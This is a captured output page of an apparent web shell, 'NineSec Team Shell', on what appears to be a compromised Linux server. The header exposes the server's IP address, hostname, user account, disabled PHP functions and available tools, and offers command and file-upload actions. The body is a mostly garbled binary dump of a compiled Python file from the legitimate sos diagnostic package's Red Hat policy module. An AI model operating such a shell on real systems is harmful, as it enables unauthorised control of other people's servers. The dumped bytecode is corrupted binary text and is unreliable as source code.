NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/policies/distros/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/policies/distros/__pycache__/redhat.cpython-36.opt-1.pyc
3

~�g\;�@sddlZddlZddlZddlmZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZmZddlmZmZmZddlmZddlmZddlmZddlmZdd	lmZd
ZGdd�de�Z d
Z!dZ"dZ#Gdd�de �Z$Gdd�de$�Z%Gdd�de$�Z&Gdd�de �Z'dS)�N)�RedHatPlugin)
�RHEL_PRESETS�RHV�RHEL�CB�RHOSP�RHOCP�RH_CFME�RH_SATELLITE�AAPEDA�
AAPCONTROLLER)�LinuxPolicy�ENV_HOST_SYSROOT�
OS_RELEASE)�RpmPackageManager)�FlatpakPackageManager)�MultiPackageManager)�bold)�_soszRed Hat Enterprise LinuxcszeZdZdZddgZdZdZdZd	Zd	Z	d
Z
dZdZd
Z
dZd�fdd�	Ze�fdd��Zdd�Zdd�Zdd�Z�ZS)�RedHatPolicyzRed Hat�Distribution Website�https://www.redhat.com/�Commercial Support�https://access.redhat.com/z/var/tmpFZfriendlyN�podman�sosz	/usr/sbinzVhttps://sso.redhat.com/auth/realms/redhat-external/protocol/openid-connect/auth/devicezPhttps://sso.redhat.com/auth/realms/redhat-external/protocol/openid-connect/tokenTcs�t�j||||d�d|_tttg|j|d�|_|jt	g7_|jj
|_|jsftj
jd�tjd�|j|j�|_|jr�d|_nd|_|jtjd7_|jtjd	7_|js�|j�|j�dS)
N)�sysroot�init�
probe_runtime�remote_execF)ZprimaryZ	fallbacks�chrootrz'Could not obtain installed package list�z/usr/sbin:/usr/bin:/root/binz'/sbin:/bin:/usr/sbin:/usr/bin:/root/binz/usr/local/binz/usr/local/sbin)�super�__init__�usrmoverrrr�package_managerZvalid_subclassesrZpackages�pkgs�sys�stderr�write�exit�
check_usrmove�PATH�os�pathseprZ
set_exec_pathZload_presets)�selfrrrr)�	__class__��/usr/lib/python3.6/redhat.pyr#1s.



zRedHatPolicy.__init__cs~|tk	rtt|�j|�dS|jd�ttttd�}xD|j�D]8\}}t	d|���}|jdd�|d�|j
d��dd	�q>WdS)
Nz�This policy is a building block for all other Red Hat family distributions. You are likely looking for one of the distributions listed below.
)�centos�rhelZredhatcoreos�fedoraz	policies.� z>8z<35z<30F)�newline)rr"�display_distro_helpZadd_text�CentOsPolicy�
RHELPolicy�RedHatCoreOSPolicy�FedoraPolicy�itemsr�os_release_name)�clsZsectionZsubsZsubc�valueZsubln)r0r1r2r8Ssz RedHatPolicy.display_distro_helpcCs8d|kr tjjd�otjjd�S|dd}|ddkS)aqTest whether the running system implements UsrMove.

            If the 'filesystem' package is present, it will check that the
            version is greater than 3. If the package is not present the
            '/bin' and '/sbin' paths are checked and UsrMove is assumed
            if both are symbolic links.

            :param pkgs: a packages dictionary
        Z
filesystemz/binz/sbin�versionr�3)r-�path�islink)r/r&Zfilesys_versionr1r1r2r+ls
zRedHatPolicy.check_usrmovecCs6g}dd�}|jr2x|D]}|j||��qW|S|S)a2Mangle paths for post-UsrMove systems.

            If the system implements UsrMove, all files will be in
            '/usr/[s]bin'. This method substitutes all the /[s]bin
            references in the 'files' list with '/usr/[s]bin'.

            :param files: the list of package managed files
        cSs:ddg}||kr*|tjjd|dd��fStjdd|�fS)Nz/bin/rpmz
/bin/mailxz/usrr!z(^)(/s?bin)z\1/usr\2)r-rC�join�re�sub)rCZ
skip_pathsr1r1r2�transform_path�sz8RedHatPolicy.mangle_package_path.<locals>.transform_path)r$�extend)r/�files�pathsrH�fr1r1r2�mangle_package_path{s	
z RedHatPolicy.mangle_package_pathcCs|s
|jS|S)N)�_tmp_dir)r/Zopt_tmp_dirr1r1r2�get_tmp_dir�szRedHatPolicy.get_tmp_dir)rr)rr)NNTN)�__name__�
__module__�__qualname__�vendor�vendor_urlsrNZ
_in_containerZname_patternZ
upload_urlZupload_userZdefault_container_runtimeZsos_pkg_nameZsos_bin_pathZclient_identifier_urlZtoken_endpointr#�classmethodr8r+rMrO�
__classcell__r1r1)r0r2rs&!ra[
Any information provided to %(vendor)s will be treated in accordance with the published support policies at:

  %(vendor_urls)s

The generated archive may contain data considered sensitive and its content should be reviewed by the originating organization before being passed to any third party.

No changes will be made to system configuration.
zhttps://api.access.redhat.comzsftp://sftp.access.redhat.comcsbeZdZdZdZdZeZdZe	de
d�ZeZ
dZdZd	Zd�fdd�	Zd
d�Zdd�Z�ZS)r:at
    The RHEL policy is used specifically for Red Hat Enterprise Linux, of
    any release, and not forks or derivative distributions. For example, this
    policy will be loaded for any RHEL 8 installation, but will not be loaded
    for CentOS Stream 8 or Red Hat CoreOS, for which there are separate
    policies.

    Plugins activated by installed packages will only be activated if those
    packages are installed via RPM (dnf/yum inclusive). Packages installed by
    other means are not considered by this policy.

    By default, --upload will be directed to using the SFTP location provided
    by Red Hat for technical support cases. Users who provide login credentials
    for their Red Hat Customer Portal account will have their archives uploaded
    to a user-specific directory.

    If users provide those credentials as well as a case number, --upload will
    instead attempt to directly upload archives to the referenced case, thus
    streamlining the process of providing data to technical support engineers.

    If either or both of the credentials or case number are omitted or are
    incorrect, then a temporary anonymous user will be used for upload to the
    SFTP server, and users will need to provide that information to their
    technical support engineer. This information will be printed at the end of
    the upload process for any sos report execution.
    zRed Hatz/etc/redhat-releaser4aThis command will collect diagnostic and configuration information from this %(os_release_name)s system and installed applications.

An archive containing the collected information will be generated in %(tmpdir)s and may be provided to a %(vendor)s support representative.
z%(vendor_text)s
ZpostNi@Tcs"t�j||||d�|jt�dS)N)rrrr)r"r#Zregister_presetsr)r/rrrr)r0r1r2r#�s
zRHELPolicy.__init__cCsDy*|jjd�}|j|dd}t|d�Stk
r>YnXdS)Nzredhat-release*rrAF)r%�all_pkgs_by_name_regexr&�int�	Exception)r/ZrrZpkgnamer1r1r2�dist_version�szRHELPolicy.dist_versioncCs�x*d
D]"}|jj|�d�d�r|jt�SqW|jd�dk	rD|jt�S|jd�dk	r\|jt�S|jd�dk	rt|jt�S|jd�dk	s�|jd	�dk	r�|jt�S|jd
�dk	r�|jt	�Sx$dD]}|j|�dk	r�|jt
�Sq�W|jt�S)N�rescue�	emergencyz.targetFzsatellite-commonz
rhosp-releaseZcfmezovirt-engineZvdsmzautomation-controller-server�automation-eda-controller� automation-eda-controller-server)r[r\)r]r^)Zinit_systemZ
is_running�find_presetr�pkg_by_namer
rr	rrrr)r/�target�pkgr1r1r2�probe_preset�s&





zRHELPolicy.probe_preset)NNTN)rPrQrR�__doc__rS�os_release_file�RHEL_RELEASE_STRr>�
os_release_id�_�disclaimer_text�msg�RH_SFTP_HOSTZ_upload_urlZ_upload_methodZ
_device_tokenZ_max_size_requestr#rZrcrVr1r1)r0r2r:�sr:c@s"eZdZdZdgZdZdZdZdS)	r9ZCentOS�Community Website�https://www.centos.org/z/etc/centos-releasezCentOS Linuxr3N)rlrm)rPrQrRrSrTrer>rgr1r1r1r2r9s
r9csveZdZdZdZeded�ZdZdZ	dZ
dZd	Zd
Z
d�fdd
�	Zeddd��Zdd�Zddd�Zdd�Z�ZS)r;aB
    Red Hat CoreOS is a containerized host built upon Red Hat Enterprise Linux
    and as such this policy is built on top of the RHEL policy. For users, this
    should be entirely transparent as any behavior exhibited or influenced on
    RHEL systems by that policy will be seen on RHCOS systems as well.

    The one change is that this policy ensures that sos collect will deploy a
    container on RHCOS systems in order to facilitate sos report collection,
    as RHCOS discourages non-default package installation via rpm-ostree which
    is used to maintain atomicity for RHCOS nodes. The default container image
    used by this policy is the support-tools image maintained by Red Hat on
    registry.redhat.io.

    Note that this policy is only loaded when sos is directly run on an RHCOS
    node - if sos collect uses the `oc` transport (the default transport that
    will be attempted by the ocp cluster profile), then the policy loaded
    inside the launched pod will be RHEL. Again, this is expected and will not
    impact how sos report collections are performed.
    zRed Hat Enterprise Linux CoreOSz�This command will collect diagnostic and configuration information from this %(os_release_name)s system.

An archive containing the collected information will be generated in %(tmpdir)s and may be provided to a %(vendor)s support representative.
z%(vendor_text)s
Trz&registry.redhat.io/rhel8/support-toolsz/hostz
rpm -q sosz/var/lib/kubelet/config.jsonNcst�j||||d�dS)N)rrrr)r"r#)r/rrrr)r0r1r2r#4s
zRedHatCoreOSPolicy.__init__�cCs�|rd|kSd}ttjkr|Stjtt}yBt|ddd��*}x"|j�j�D]}||j|kO}qLWWdQRXWntk
r�YnX|S)NZCoreOSF�rzutf-8)�encoding)	rr-�environr�open�read�
splitlinesr>�IOError)r?ZremoteZcoreosZhost_releaseZhfile�liner1r1r2�check:s
 zRedHatCoreOSPolicy.checkcCs
|jt�S)N)r_r)r/r1r1r2rcMszRedHatCoreOSPolicy.probe_presetFc
CsL|p|j}|rdnd}|j�d|j�d|j�d|�d|�d|p@d�d|��
S)Nz
--pull=alwaysrnz run -di --name zE --privileged --ipc=host --net=host --pid=host -e HOST=/host -e NAME=z
 -e IMAGE=r6zr -v /run:/run -v /var/log:/var/log -v /etc/machine-id:/etc/machine-id -v /etc/localtime:/etc/localtime -v /:/host )�container_image�container_runtime�sos_container_name)r/ZimageZauthZ
force_pullZ_imageZ_pullr1r1r2�create_sos_containerRs
z'RedHatCoreOSPolicy.create_sos_containercCsd|j��S)Nzpodman rm --force )rz)r/r1r1r2�set_cleanup_cmdbsz"RedHatCoreOSPolicy.set_cleanup_cmd)NNTN)rn)NNF)rPrQrRrdr>rhrirjZ
containerizedryrxZsos_path_stripZcontainer_version_commandZcontainer_authfiler#rUrwrcr{r|rVr1r1)r0r2r;s"
r;csBeZdZdZdZddgZdZdZd	Zd�fdd
�	Z	dd�Z
�ZS)r<aj
    The policy for Fedora based systems, regardless of spin/edition. This
    policy is based on the parent Red Hat policy, and thus will only check for
    RPM packages when considering packaged-based plugin enablement. Packages
    installed by other sources are not considered.

    There is no default --upload location for this policy. If users need to
    upload an sos report archive from a Fedora system, they will need to
    provide the location via --upload-url, and optionally login credentials
    for that location via --upload-user and --upload-pass (or the appropriate
    environment variables).
    zthe Fedora Project�Community Website�https://fedoraproject.org/�Community Forums�%https://discussion.fedoraproject.org/z/etc/fedora-releasezFedora Linuxr5NTcst�j||||d�dS)N)rrrr)r"r#)r/rrrr)r0r1r2r#|s
zFedoraPolicy.__init__cCs&|jd�p|jjd�d}t|d�S)Nzfedora-releasezfedora-release-.*r!rA���)r`r%rWrX)r/rbr1r1r2�fedora_version�s

zFedoraPolicy.fedora_version)r}r~)rr�)NNTN)rPrQrRrdrSrTrer>rgr#r�rVr1r1)r0r2r<fsr<)(r-r'rFZsos.report.pluginsrZsos.presets.redhatrrrrrrr	r
rrZsos.policies.distrosr
rrZ!sos.policies.package_managers.rpmrZ%sos.policies.package_managers.flatpakrZsos.policies.package_managersrZ
sos.utilitiesrrrrhrfrriZRH_API_HOSTrkr:r9r;r<r1r1r1r2�<module>s(0[X

NineSec Team - 2022